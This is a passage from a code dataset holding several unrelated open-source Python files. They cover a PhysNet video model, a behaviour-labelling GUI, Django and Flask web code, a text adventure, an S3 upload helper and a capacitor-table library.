spatial space\n self.poolspa = nn.AdaptiveAvgPool3d((frames, 1, 1)) # selects one from every frame of input\n\n def forward(self, x): # x [3, T, 128,128]\n x_visual = x\n [batch, channel, length, width, height] = x.shape\n\n x = self.ConvBlock1(x) # x [3, T, 128,128]\n\n x = self.MaxpoolSpa(x) # x [16, T, 64,64]\n\n x = self.ConvBlock2(x) # x [32, T, 64,64]\n x = self.ConvBlock3(x) # x [32, T, 64,64]\n\n x = self.MaxpoolSpaTem(x) # x [32, T/2, 32,32] Temporal halve\n\n x = self.ConvBlock4(x) # x [64, T/2, 32,32]\n x = self.ConvBlock5(x) # x [64, T/2, 32,32]\n\n x = self.MaxpoolSpaTem(x) # x [64, T/4, 16,16]\n\n x = self.ConvBlock6(x) # x [64, T/4, 16,16]\n x_visual1616 = self.ConvBlock7(x) # x [64, T/4, 16,16]\n\n x = self.MaxpoolSpa(x_visual1616) # x [64, T/4, 8,8]\n x = self.gcb(x)\n x = self.ConvBlock8(x) # x [64, T/4, 8, 8]\n x = self.ConvBlock9(x) # x [64, T/4, 8, 8]\n\n x = self.upsample(x) # x [64, T/2, 8, 8]\n x = self.upsample2(x) # x [64, T, 8, 8]\n # h = x.register_hook(self.activations_hook)\n\n # x = nn.ELU(inplace=True)(x)\n\n x = self.poolspa(x) # x [64, T, 1, 1] --> groundtruth left and right - 7\n x = self.ConvBlock10(x) # x [1, T, 1,1]\n r_ppg = x.view(-1, length)\n return r_ppg, x_visual, x, x_visual1616\n\n def activations_hook(self, grad):\n self.gradients = grad\n\n def get_activations_gradient(self):\n return self.gradients\n\n def get_activations(self, x):\n x = self.ConvBlock1(x) # x [3, T, 128,128]\n x = self.MaxpoolSpa(x) # x [16, T, 64,64]\n\n x = self.ConvBlock2(x) # x [32, T, 64,64]\n x = self.ConvBlock3(x) # x [32, T, 64,64]\n x = self.MaxpoolSpaTem(x) # x [32, T/2, 32,32] Temporal halve\n\n x = self.ConvBlock4(x) # x [64, T/2, 32,32]\n x = self.ConvBlock5(x) # x [64, T/2, 32,32]\n x = self.MaxpoolSpaTem(x) # x [64, T/4, 16,16]\n\n x = self.ConvBlock6(x) # x [64, T/4, 16,16]\n x = self.ConvBlock7(x) # x [64, T/4, 16,16]\n x = self.MaxpoolSpa(x) # x [64, T/4, 8,8]\n\n x = self.ConvBlock8(x) # x [64, T/4, 8, 8]\n x = self.ConvBlock9(x) # x [64, T/4, 8, 8]\n x = self.upsample(x) # x [64, T/2, 8, 8]\n x = self.upsample2(x) # x [64, T, 8, 8]\n\n return x\n\n\nclass GCBlock(nn.Module):\n \"\"\"\n Global Context Block adapted to 3D convolution\n \"\"\"\n def __init__(self, C, reduction_ratio=16):\n \"\"\"\n Global Context layer\n :param C: number of input channels\n :param reduction_ratio: reduction ratio\n \"\"\"\n super(GCBlock, self).__init__()\n self.attention = nn.Conv3d(C, out_channels=1, kernel_size=1)\n self.c12 = nn.Conv3d(C, math.ceil(C / reduction_ratio), kernel_size=1)\n self.c15 = nn.Conv3d(math.ceil(C / reduction_ratio), C, kernel_size=1)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, block_input):\n print(block_input.size())\n N = block_input.size()[0]\n C = block_input.size()[1]\n D = block_input.size()[2]\n\n attention = self.attention(block_input)\n print(attention.size())\n block_input = nn.functional.softmax(block_input)\n\n block_input_flattened = torch.reshape(block_input, [N, C, D, -1])\n attention = torch.squeeze(attention, dim=3)\n attention_flattened = torch.reshape(attention, [N, D, -1])\n\n c11 = torch.einsum('bcdf,bdf->bcd', block_input_flattened,\n attention_flattened)\n c11 = torch.reshape(c11, (N, C, D, 1, 1))\n c12 = self.c12(c11)\n\n c15 = self.c15(self.relu(torch.layer_norm(c12, c12.size()[1:])))\n cnn = torch.add(block_input, c15)\n return cnn\n","repo_name":"Oichii/DeepPulse-pytorch","sub_path":"PhysNetGlobal.py","file_name":"PhysNetGlobal.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"31"} +{"seq_id":"33500854394","text":"import logging\nimport tkinter as tk\nfrom itertools import combinations\nfrom tkinter.filedialog import asksaveasfilename\n\nimport numpy as np\nimport pandas as pd\n\nfrom src.interface import Interface\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass KeyHandler(object):\n\n def tvitem_click(self, event, item=None):\n if self.video_path is not None:\n sel_items = self.tv.selection() if item is None else item\n if sel_items:\n self.n_frame = self.tv.item(self.tv.selection()[0])['values'][0]\n\n def set_n_frame(self, s):\n v = int(float(s))\n self.n_frame = v\n self.update_entry()\n\n def update_entry(self):\n try:\n # update entry\n current_id = self.init_f.focus_get()\n if current_id is not None:\n if current_id == self.init_f_focus_id:\n self.init_f.delete(0, tk.END)\n self.init_f.insert(0, self.n_frame)\n else:\n if self.n_frame >= int(self.init_f.get()):\n self.end_f.delete(0, tk.END)\n self.end_f.insert(0, self.n_frame)\n except Exception as e:\n LOGGER.exception(e)\n\n def set_n_frame_2(self, event):\n self.n_frame = int(float(self.var_n_frame.get()))\n\n # move to previous frame\n def on_left(self, event=None, n=10):\n if self.video_path is not None:\n if self.n_frame > 1:\n self.n_frame = max(1, self.n_frame-n)\n else:\n self.msg('Already the first frame!')\n\n # move to next frame\n def on_right(self, event=None, n=10):\n if self.video_path is not None:\n if self.n_frame == self.total_frame:\n self.msg('Already the last frame!')\n else:\n self.n_frame = min(self.total_frame, self.n_frame+n)\n\n # return to label frame index\n def on_return(self, event=None):\n self.n_frame = self.stop_ind\n self.update_entry()\n\n # add behavior record\n def on_add(self, event=None, sug_name=None):\n if self.init_f.get() != self.end_f.get():\n value = (self.init_f.get(), self.end_f.get(), self.obj_a.get(), self.actions.get(), self.obj_b.get())\n self.tv.insert('', 'end', len(self.tv.get_children()), values=value)\n\n # delete behavior record\n def on_delete(self, event=None):\n for v in self.tv.selection():\n self.tv.delete(v)\n\n # move to next stop frame index\n def on_next(self, event=None):\n self.get_stop_ind(direct='next')\n\n # move to previous stop frame index\n def on_prev(self, event=None):\n self.get_stop_ind(direct='prev')\n\n # logic to get stop frame index\n def get_stop_ind(self, direct='next', n=None, measure='distance'):\n pair = combinations(sorted(self.__trajectory__.keys()), 2)\n n = self.n_frame if n is None else n\n for k1, k2 in pair:\n v1 = self.__trajectory__[k1]\n v2 = self.__trajectory__[k2]\n\n try:\n if direct == 'next':\n ind_1 = min([v1['n_frame'].index(f) for f in v1['n_frame'] if f > n])\n ind_2 = min([v2['n_frame'].index(f) for f in v2['n_frame'] if f > n])\n center_1 = v1['path'][ind_1:]\n center_2 = v2['path'][ind_2:]\n wh_1 = v1['wh'][ind_1:]\n wh_2 = v2['wh'][ind_2:]\n elif direct == 'prev':\n ind_1 = max([v1['n_frame'].index(f) for f in v1['n_frame'] if f < n])\n ind_2 = max([v2['n_frame'].index(f) for f in v2['n_frame'] if f < n])\n center_1 = v1['path'][:(ind_1)]\n center_2 = v2['path'][:(ind_2)]\n wh_1 = v1['wh'][:(ind_1)]\n wh_2 = v2['wh'][:(ind_2)]\n except Exception as e:\n ind_1, ind_2 = None, None\n LOGGER.exception(e)\n\n brk = False\n if ind_1 and ind_2:\n while True:\n try:\n f_1 = v1['n_frame'][ind_1]\n f_2 = v2['n_frame'][ind_2]\n if f_1 > f_2:\n if direct == 'next':\n ind_2 += 1\n elif direct == 'prev' and ind_1 != 0:\n ind_1 -= 1\n elif ind_1 == 0:\n break\n elif f_1 < f_2:\n if direct == 'next':\n ind_1 += 1\n elif direct == 'prev':\n ind_2 -= 1\n elif f_1 == f_2:\n c_1 = v1['path'][ind_1]\n c_2 = v2['path'][ind_2]\n\n if measure == 'distance':\n dist = np.linalg.norm(np.array(c_1) - np.array(c_2))\n if dist <= 50:\n brk = True\n self.stop_ind = f_1\n LOGGER.info('break from while loop')\n break\n else:\n if direct == 'next':\n ind_1 += 1\n ind_2 += 1\n elif direct == 'prev' and ind_1 != 0 and ind_2 != 0:\n ind_1 -= 1\n ind_2 -= 1\n elif ind_1 == 0 or ind_2 == 0:\n break\n elif measure == 'iou':\n pass\n\n except Exception as e:\n LOGGER.exception(e)\n break\n if brk:\n LOGGER.info('break from for loop')\n break\n\n if brk:\n values = [self.tv.item(child)['values'] for child in self.tv.get_children()]\n try:\n nframes = list(map(lambda x: x[0], values))\n flag = nframes.count(self.stop_ind)\n if flag == 0:\n self.k1 = k1\n self.k2 = k2\n self.n_frame = self.stop_ind\n # self.on_add(sug_name=k1)\n elif flag == 1:\n ind = nframes.index(self.stop_ind)\n try:\n name = list(map(lambda x: x[1], values))[ind]\n except Exception as e:\n LOGGER.exception(e)\n if k1 == name:\n self.k2 = k2\n self.k1 = None\n self.n_frame = self.stop_ind\n # self.on_add(sug_name=k2)\n elif k2 == name:\n self.k1 = k1\n self.k2 = None\n self.n_frame = self.stop_ind\n # self.on_add(sug_name=k1)\n elif flag >= 2:\n LOGGER.info('flag2')\n self.get_stop_ind(direct=direct, n=self.stop_ind)\n\n # update new init frame\n self.init_f.delete(0, tk.END)\n self.init_f.insert(0, self.n_frame)\n except Exception as e:\n LOGGER.exception(e)\n pass\n else:\n self.msg('%s沒有埋葬蟲相鄰的 frame 了。' % ('往前' if direct=='prev' else '往後'))\n\n def on_select_all(self, event=None):\n if self.video_path is not None:\n for x in self.tv.get_children():\n self.tv.selection_add(x)\n\n def on_save(self, event=None):\n self.__results_dict__ = {'start_frame': [], 'end_frame': [], 'object_1': [], 'object_2': [], 'behav': []}\n values = [self.tv.item(child)['values'] for child in self.tv.get_children()]\n self.__results_dict__['start_frame'] = list(map(lambda x: x[0], values))\n self.__results_dict__['end_frame'] = list(map(lambda x: x[1], values))\n self.__results_dict__['object_1'] = list(map(lambda x: x[2], values))\n self.__results_dict__['behav'] = list(map(lambda x: x[3], values))\n self.__results_dict__['object_2'] = list(map(lambda x: x[4], values))\n\n df = pd.DataFrame(self.__results_dict__)\n df = df.reindex_axis(['start_frame', 'end_frame', 'object_1', 'behav', 'object_2'], axis=1)\n root = '/'.join(self.video_path.split('/')[:-1])\n filename = self.video_path.split('/')[-1].split('.avi')[0] + '_behavior_record'\n filename = asksaveasfilename(initialdir='%s' % (root),\n defaultextension=\".csv\",\n filetypes=((\"CSV (逗號分隔)\", \"*.csv\"),(\"All Files\", \"*.*\")),\n initialfile=filename,\n title='存檔')\n df.to_csv(filename, index=False)\n\n self.msg(\"行為標註已存檔於 %s\" % filename)\n\n def jump_frame(self, event):\n popup = Interface.popupEntry(self.parent, title=\"移動幀數\", string=\"請輸入介於 %s ~ %s 的數字。\" % (1, self.total_frame), validnum=True)\n self.parent.wait_window(popup.top)\n try:\n n = int(popup.value)\n if n >= 1 and n <= self.total_frame:\n self.n_frame = n\n else:\n self.msg(\"請���入介於 %s ~ %s 的數字。\" % (1, self.total_frame))\n self.jump_frame()\n except Exception as e:\n LOGGER.exception(e)\n\n def on_key(self, event):\n sym = event.keysym\n if sym == '1':\n self.actions.current(0)\n elif sym == '2':\n self.actions.current(1)\n elif sym == '3':\n self.actions.current(2)\n elif sym == 'q':\n self.obj_a.current(0)\n elif sym == 'w':\n self.obj_a.current(1)\n elif sym == 'e':\n self.obj_a.current(2)\n elif sym == 'r':\n self.obj_a.current(3)\n elif sym == 'a':\n self.obj_b.current(0)\n elif sym == 's':\n self.obj_b.current(1)\n elif sym == 'd':\n self.obj_b.current(2)\n elif sym == 'f':\n self.obj_b.current(3)\n","repo_name":"afunTW/beetle_behavior_labeler","sub_path":"src/keyhandler.py","file_name":"keyhandler.py","file_ext":"py","file_size_in_byte":10533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74251246167","text":"from django.test import TestCase\nfrom ..models import Album, Product\n\n\nclass TestShopModels(TestCase):\n def setUp(self):\n test_album = {\n \"title\": 'test_album',\n \"year\": 2021,\n \"cd_price\": 9.99,\n \"vinyl_price\": 19.99,\n \"spotify_url\": 'www.testurl.com',\n \"tracklist\": {\"test\": \"test\"},\n \"image\": 'media_files/album_covers/kid_a_cover.jpg'\n }\n self.album = Album.objects.create(**test_album)\n\n test_product = {\n \"name\": 'test_item',\n \"category\": 'clothing',\n \"price\": 9.99,\n \"image\": 'test_image.jpg'\n }\n self.product = Product.objects.create(**test_product)\n\n def test_album_str_method(self):\n self.assertEqual(str(self.album), 'test_album')\n\n def test_product_str_method(self):\n self.assertEqual(str(self.product), 'test_item')\n","repo_name":"richardthorp/radiohead","sub_path":"shop/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9292073048","text":"import pandas as pd\n\ndef tests(test_idx):\n print(f\"test{test_idx}\")\n test_data = [\n [{ \n 'film': pd.DataFrame([\n (1, 'Film A'), #here\n (2, 'Film B')\n ], columns=['film_id', 'title']),\n\n 'film_actor': pd.DataFrame([\n (1, 1, 100), #here\n (2, 2, 100)\n ], columns=['id', 'film_id', 'actor_id']),\n\n 'actor': pd.DataFrame([\n (100, 'John', 'Doe') #here\n ], columns=['actor_id', 'first_name', 'last_name']),\n\n 'rental': pd.DataFrame([\n (1, 1000) #here all\n ,(2, 1000)\n ,(3, 1000)\n ,(4, 1000)\n\n ,(5, 1000)\n ,(6, 1000)\n ,(7, 1000) \n ,(8, 1000)\n\n ], columns=['rental_id', 'inventory_id']),\n\n 'inventory': pd.DataFrame([\n (1000, 1), #here better same position cause if not the do it manually and time was x...\n (2000, 2)\n ], columns=['inventory_id', 'film_id']),\n\n 'info': 4\n }]\n ]\n\n film = test_data[test_idx][0]['film']\n film_actor = test_data[test_idx][0]['film_actor']\n actor = test_data[test_idx][0]['actor']\n rental = test_data[test_idx][0]['rental']\n inventory = test_data[test_idx][0]['inventory']\n\n return film, film_actor, actor, rental, inventory\n\n# Виклик тестових даних\n#film, film_actor, actor, rental, inventory = tests(test_idx=0)\n\n\n# є 7 прокатів у 1 фільма, але один фільм не був у прокаті\n# є 7 прокатів у 1 фільма, але актор знявся у меншій кількості фільмів\n# є 7 прокатів у 1 фільма, але є фільм з меншим прокатом\n\n","repo_name":"DensityDanil/EDU","sub_path":"SQL/tutorials/Codewars/Successful Film Stars Analysis/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20299905531","text":"import json, time, os, random\nbegin = time.time()\n\ndef main():\n # TODO: allow them to choose from multiple JSON files?\n x = os.listdir()\n y = 0\n list1 = []\n print(\"What game do you want to run?\")\n for file in x:\n if \".json\" in file:\n print (\" {}. {}\".format(y+1, file))\n y +=1\n list1.append(file)\n else:\n pass\n option1 = input(\">\").lower().strip()\n num = int(option1) - 1\n selected = list1[num]\n with open(str(selected)) as fp:\n game = json.load(fp)\n if selected == \"spooky_mansion.json\":\n print_instructions()\n play(game)\n elif selected == \"adventure.json\":\n print_instructions()\n print(\"You are about to play '{}'! Good luck!\".format(game['__metadata__']['title']))\n print(\"\")\n play(game)\n\n\ndef play(rooms):\n # Where are we? Look in __metadata__ for the room we should start in first.\n current_place = rooms['__metadata__']['start']\n # The things the player has collected.\n stuff = []\n removed_items = []\n cat_start = 'classroom'\n while True:\n # Figure out what room we're in -- current_place is a name.\n here = rooms[current_place]\n # Print the description.\n print(here[\"description\"])\n\n # TODO: print any available items in the room...\n # e.g., There is a Mansion Key.\n if len(here['items']) > 0:\n print (\"You have found\" , here['items'])\n \n \n # Is this a game-over?\n if here.get(\"ends_game\", False):\n break\n\n # Allow the user to choose an exit:\n usable_exits = find_usable_exits(here, stuff)\n # Print out numbers for them to choose:\n for i, exit in enumerate(usable_exits):\n print(\" {}. {}\".format(i+1, exit['description']))\n\n # See what they typed:\n action = input(\"> \").lower().strip()\n\n # If they type any variant of quit; exit the game.\n if current_place == cat_start:\n print(\"There is a black cat here!\")\n \n if \"time\" in action:\n time1()\n continue\n if \"help\" in action:\n print_instructions()\n continue\n if \"stuff\" in action:\n if len(stuff) == 0:\n print (\"You have nothing\")\n else:\n print (stuff)\n continue\n if \"take\" in action:\n stuff.extend(here['items'])\n print(\"You have taken\" , here['items'])\n here['items'].clear()\n continue\n \n \n if action in [\"quit\", \"escape\", \"exit\", \"q\"]:\n print(\"You quit.\")\n break\n if action == \"search\":\n for exit in here ['exits']:\n exit['hidden']=False\n continue\n if action == \"drop\":\n for n, i in enumerate(stuff):\n print(n,i)\n option = int(input(\"What do you want to drop?\"))\n x = stuff.pop(option)\n here['items'].append(x)\n continue\n \n \n if action in [\"check time\"] :\n print (\"You have been stuck here for\" , timer)\n \n if random.randint(0,2) == 0:\n cat_in_room = rooms[cat_start]\n exit_cat = random.choice(cat_in_room['exits'])\n cat_start = exit_cat['destination']\n \n # TODO: if they type \"stuff\", print any items they have (check the stuff list!)\n # TODO: if they type \"take\", grab any items in the room.\n # TODO: if they type \"search\", or \"find\", look through any exits in the room that might be hidden, and make them not hidden anymore!\n \n # Try to turn their action into an exit, by number.\n try:\n num = int(action) - 1\n selected = usable_exits[num]\n current_place = selected['destination']\n print(\"...\")\n except:\n print(\"I don't understand '{}'...\".format(action))\n \n print(\"\")\n print(\"\")\n print(\"=== GAME OVER ===\")\n\ndef find_usable_exits(room, stuff):\n \"\"\"\n Given a room, and the player's stuff, find a list of exits that they can use right now.\n That means the exits must not be hidden, and if they require a key, the player has it.\n\n RETURNS\n - a list of exits that are visible (not hidden) and don't require a key!\n \"\"\"\n usable = []\n for exit in room['exits']:\n if exit.get(\"hidden\", False):\n continue\n if \"required_key\" in exit:\n if exit[\"required_key\"] in stuff:\n usable.append(exit)\n continue\n usable.append(exit)\n return usable\n\ndef time1():\n endtimer = input (\"Hit enter if you want to see how long you have been stuck here.\")\n end = time.time()\n elapsed = end - begin\n print (\"You have been stuck here for\" , elapsed, \"seconds\")\ndef print_instructions():\n print(\"=== Instructions ===\")\n print(\" - Type a number to select an exit.\")\n print(\" - Type 'stuff' to see what you're carrying.\")\n print(\" - Type 'take' to pick up an item.\")\n print(\" - Type 'quit' to exit the game.\")\n print(\" - Type 'search' to take a deeper look at a room.\")\n print(\"=== Instructions ===\")\n print(\"\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"emflikespie123/Python-Text-Adventure","sub_path":"play_game.py","file_name":"play_game.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35376524147","text":"\"\"\"\nAnnote region with B-score\nThe B-score is the mean of the overlapping reiong scores.\n\"\"\"\n\nimport pybedtools\n\nbmap = pybedtools.BedTool('data/caad-bestfit-GRCh38.bmap.bed')\nregion = pybedtools.BedTool('chunk_283.bed')\n\n# which regions in bmap overlap with region?\noverlapping = bmap.intersect(region, wa=True, wb=True)\n","repo_name":"santiago1234/mxb-genomes","sub_path":"demographic/data/230426-AnnotateChunksWithBvalues/scripts/annotate-region-with-b-score.py","file_name":"annotate-region-with-b-score.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"11488697374","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\" API client \"\"\"\n\n# author : Špoljar Hrvoje\n# email : <hrvoje.spoljar@gmail.com>\n\nimport json\nimport sys\nimport os\nimport base64\nimport hmac\nimport hashlib\nimport requests\n\n# sole purpose to disable ssl warnings\nimport urllib3\nurllib3.disable_warnings()\n\n## Settings\nAPI_NAME = 'harvest'\nAPI_VERSION = '0.1'\nAPI_PREFIX = '/' + API_NAME + '/' + API_VERSION\n\nAPI_URL = 'https://localhost:8080' + API_PREFIX + '/add'\nKEY_PATH = os.environ['HOME'] + '/.ssh/id_rsa.pub'\nHMAC_SECRET = '0xDEADBEEF'\n\nSTATVFS = os.statvfs('/')\nDF_FREE = str(STATVFS.f_frsize * STATVFS.f_bfree / (1024 * 1024))\n\nif __name__ == '__main__':\n try:\n with open(KEY_PATH, 'r') as f:\n KEY = f.read().rstrip('\\n')\n except IOError as err:\n print(\"I/O error{0}\".format(err))\n exit(1)\n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\n exit(1)\n\n DATA = {}\n DATA['key'] = KEY\n DATA['df_free'] = DF_FREE\n\n DIGEST = hmac.new(HMAC_SECRET.encode('utf-8'), \\\n (KEY + DF_FREE).encode('utf-8'), hashlib.sha1).digest()\n DATA['hmac'] = base64.b64encode(DIGEST).decode('utf-8')\n\n JSON_DATA = json.dumps(DATA)\n\n try:\n # didn't make valid cert so had to disable checks // verify=False\n RESPONSE = requests.post(API_URL, json=JSON_DATA, verify=False)\n print(RESPONSE.content.decode('utf-8'))\n except requests.exceptions.ConnectionError:\n print(\"Could not connect to %s\" %(API_URL))\n","repo_name":"elops/FlaskAPI-demo","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69804147609","text":"from typing import List\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\ndef buildTree(preorder: List[int], inorder: List[int]) -> TreeNode:\n mid, point, length = preorder[0], 0, len(inorder)\n root = TreeNode(mid)\n while inorder[point] != mid:\n point += 1\n if point > 0:\n root.left = buildTree(preorder[1:point + 1], inorder[:point])\n if point < length - 1:\n root.right = buildTree(preorder[point + 1:], inorder[point + 1:])\n\n return root\n\n\n","repo_name":"DengBoCong/Algorithm","sub_path":"core/ConstructBinaryTreeFromPreorderAndInorderTraversal/ConstructBinaryTreeFromPreorderAndInorderTraversal.py","file_name":"ConstructBinaryTreeFromPreorderAndInorderTraversal.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"10700944413","text":"import socket\r\nfrom flask import Flask\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef get_timestamp_and_hostname():\r\n # Get the current timestamp\r\n import datetime\r\n timestamp = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n # Get the hostname\r\n hostname = socket.gethostname()\r\n\r\n # Prepare the response\r\n response = {\r\n 'timestamp': timestamp,\r\n 'hostname': hostname\r\n }\r\n\r\n return response\r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=8081)\r\n","repo_name":"Hamza50537/Kubernetes-Demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42114761723","text":"# Creating an aws client to manage bucket resources\nfrom dotenv import load_dotenv\nfrom os import getenv\nimport os\nfrom abc import ABC, abstractmethod\nfrom botocore import exceptions\nfrom botocore.exceptions import ClientError\nimport boto3\nimport logging\nfrom datetime import datetime\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level = logging.INFO)\n\nload_dotenv('/opt/airflow/aws_twi_env/.env')\n\nclass Bucket(ABC):\n def __init__(self, bucket_name) -> None:\n\n self.bucket_name = bucket_name\n \n self.s3_client = boto3.client(\n 's3',\n aws_access_key_id = getenv('AWS_ID'),\n aws_secret_access_key = getenv('AWS_KEY')\n )\n\n self.s3_resource = boto3.resource(\n 's3',\n aws_access_key_id = getenv('AWS_ID'),\n aws_secret_access_key =getenv('AWS_KEY')\n )\n\n def _validate_bucket(self) -> bool:\n bucket_list = [bucket.name for bucket in self.s3_resource.buckets.all()]\n if self.bucket_name in bucket_list: #self.s3_client.list_buckets()['Buckets']['Name']:\n print(f'You already have a Bucket with this name: {self.bucket_name}')\n return True\n else:\n print(f'You don\\'t have a Bucket created with this name: {self.bucket_name} --> creating..')\n return False \n \n \n def _create_bucket(self) -> bool:\n try:\n self.s3_client.create_bucket(Bucket = self.bucket_name)\n except ClientError as e:\n print(f'Bucket {self.bucket_name} not created')\n logging.error(e)\n return False\n print(f'Bucket \"{self.bucket_name}\" successfuly created')\n return True\n\n\n def start_bucket(self) -> None:\n if not self._validate_bucket():\n self._create_bucket() \n else:\n print(f'Bucket \"{self.bucket_name}\" already existed (and operational?)')\n\n\n def send_to_bucket(self, **kwargs) -> None:\n sending_datetime = datetime.now().strftime(\"%Y%m%d_%H%S%S\")\n rootdir = r'/opt/airflow/outputs/timelines'\n for subdir, dirs, files in os.walk(rootdir):\n for file in files:\n path_str = str(os.path.join(subdir, file))\n file_str = path_str.split(sep = '/')[-1]\n user_id = path_str.split(sep = '/')[-2]\n self.s3_resource.Bucket(self.bucket_name).upload_file(\n path_str,\n f'airflow/dados/twitter_timelines/{sending_datetime}/{user_id}/{file_str}'\n )","repo_name":"Joaoluislins/algotrader-aws-airflow","sub_path":"dags/aws/bucket.py","file_name":"bucket.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15147985164","text":"#!/usr/bin/python3\n\"\"\"state view\"\"\"\nfrom api.v1.views import app_views\nfrom flask import jsonify, abort, request\nfrom models import storage\nfrom models.amenity import Amenity\n\n\n@app_views.route('/amenities', methods=['GET'],\n strict_slashes=False)\ndef all_amenities():\n \"\"\"retrieve all amenities\"\"\"\n amenities_list = []\n for amenity in storage.all(Amenity).values():\n amenities_list.append(amenity.to_dict())\n return jsonify(amenities_list)\n\n\n@app_views.route('/amenities/<amenity_id>', methods=['GET'],\n strict_slashes=False)\ndef an_amenity(amenity_id):\n \"\"\"retrieve an amenity with its id\"\"\"\n try:\n amenity = storage.get(Amenity, amenity_id)\n return jsonify(amenity.to_dict())\n except Exception:\n abort(404)\n\n\n@app_views.route('/amenities/<amenity_id>', methods=['DELETE'],\n strict_slashes=False)\ndef delete_amenity(amenity_id):\n \"\"\"Delete an Amenity object\"\"\"\n if amenity_id is None:\n abort(404)\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n amenity.delete()\n storage.save()\n return jsonify({})\n\n\n@app_views.route('/amenities', methods=['POST'], strict_slashes=False)\ndef POST_request_amenity():\n \"\"\"\"post request\"\"\"\n data = request.get_json()\n if not data:\n return abort(400, {'message': 'Not a JSON'})\n if 'name' not in data:\n abort(400)\n return abort(400, {'message': 'Missing name'})\n # creation of a new state\n new_amenity = Amenity(**data)\n new_amenity.save()\n return jsonify(new_amenity.to_dict()), 201\n\n\n@app_views.route('/amenities/<amenity_id>', methods=['PUT'],\n strict_slashes=False)\ndef PUT_amenity(amenity_id):\n \"\"\"Put request\"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if amenity is None:\n abort(404)\n data = request.get_json()\n if not data:\n return abort(400, {'message': 'Not a JSON'})\n for key, value in data.items():\n if key not in [\"id\", \"created_at\", \"updated_at\"]:\n setattr(amenity, key, value)\n storage.save()\n return jsonify(amenity.to_dict()), 200\n","repo_name":"timoumi12/AirBnB_clone_v3","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"42640476576","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\" コンデンサ組み合わせバイナリ表を出力する計算ライブラリ\"\"\"\n\nimport os\nfrom IPython.display import display\nimport numpy as np\nimport pandas as pd\n\n\nclass Lcbin(pd.DataFrame):\n \"\"\"Binary Capacitance table\"\"\"\n\n def __init__(\n self,\n c_res: float,\n c_num: int,\n lmh: float,\n c_initial: float = 0,\n c_para: float = 0,\n c_ser: float = 0,\n ):\n \"\"\"\n # Quick Start:\n >>> Lcbin(10, 4, 12.5)\n 10 20 40 80 CpF fkHz\n 0 0 0 0 0 0 inf\n 1 1 0 0 0 10 450.158158\n 2 0 1 0 0 20 318.309886\n 3 1 1 0 0 30 259.898934\n 4 0 0 1 0 40 225.079079\n 5 1 0 1 0 50 201.316848\n 6 0 1 1 0 60 183.776298\n 7 1 1 1 0 70 170.143791\n 8 0 0 0 1 80 159.154943\n 9 1 0 0 1 90 150.052719\n 10 0 1 0 1 100 142.352509\n 11 1 1 0 1 110 135.727792\n 12 0 0 1 1 120 129.949467\n 13 1 0 1 1 130 124.851409\n 14 0 1 1 1 140 120.309828\n 15 1 1 1 1 150 116.230337\n\n usage:\n `x = Lcbin(c_initial=0, c_res=10, c_num=4, lmh=12.5)`\n コンデンサを4チャンネル(c_num)用意し、\n それぞれ10, 20, 40, 80pFを割り当てる。\n 増加率が10(c_res)から始まり倍々に増えていく(+10, +20, +40, ...)\n\n CpF列にコンデンサの合計値を出力する\n fkHz列にlmh(=接続するインダクタンス)と計算した同調周波数を出力する\n\n args:\n c_initial: Minimum Capacitance[pf](float)\n c_res: Resolution of capacitance[pf](float)\n c_num: Number of capacitance[uF](int)\n lmh: Indactance[mH](float)\n\n self: Binary table (pd.DataFrame)\n ビットテーブルを出力する\n ビットテーブルは行番号1から始まる。\n 行番号0はコンデンサなし、つまり非同調なので考える必要がない。\n そのため、あらかじめ削除してあるので、行番号は1から始まる。\n\n `bc`\n LCバイナリと合計容量CpF, 同調周波数fkHzを出力する\n pandas.DataFrameを継承\n\n `bc.channels()`\n ONにするビットフラグを\n\n `bc.to_csv()`\n 条件をパースしてcsvファイルを生成する。\n 引数directoryを指定することで所定のディレクトリに保存する。\n\n `bc.dump()`\n pandas 初期設定の省略表示を無視して全行列を標準出力に表示\n\n\n # 行数テスト\n # 行の長さは2のn乗\n >>> n=6\n >>> bc = Lcbin(10, n, 100)\n >>> len(bc) == 2**n\n True\n\n # index のテスト\n # stop=64 = 